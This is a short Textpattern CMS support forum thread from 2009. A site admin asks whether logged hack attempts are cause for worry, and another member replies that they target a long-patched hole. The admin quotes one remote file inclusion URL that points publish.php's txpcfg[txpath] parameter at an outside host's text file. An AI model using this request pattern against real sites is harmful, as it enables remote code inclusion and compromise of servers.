Go to main content

Textpattern CMS support forum

You are not logged in. Register | Login | Help

  1. Index
  2. » Archives
  3. » hack attempts

#1 2009-01-25 07:48:42

colak
Admin
From: Cyprus
Registered: 2004-11-20
Posts: 9,197
Website GitHub Mastodon Twitter

hack attempts

i see some hack attempts on our sites. Slimstat registers them in “new resources’ and the urls look like.

http://www.site.tld/textpattern/publish.php?txpcfg%5btxpath%5d=http://owell.us/var/https/test.txt%3f%3f%3f

Although we have unsuccessfully been attacked many times before, this is the first time I detect textpattern paths been used. Should we worry?


Yiannis
——————————
NeMe | hblack.art | EMAP | A Sea change | Toolkit of Care
I do my best editing after I click on the submit button.

Offline

#2 2009-01-25 09:37:28

Mary
Sock Enthusiast
Registered: 2004-06-27
Posts: 6,236

Re: hack attempts

They are trying to exploit an old security hole that was patched long ago. As long as you’re running the latest stable version, you should be fine.

Offline

#3 2009-01-25 10:37:43

colak
Admin
From: Cyprus
Registered: 2004-11-20
Posts: 9,197
Website GitHub Mastodon Twitter

Re: hack attempts

thanks Mary,

You kids get off my lawn.

those kids… If you know how to keep them away, do share:)


Yiannis
——————————
NeMe | hblack.art | EMAP | A Sea change | Toolkit of Care
I do my best editing after I click on the submit button.

Offline

  1. Index
  2. » Archives
  3. » hack attempts

Board footer

Powered by FluxBB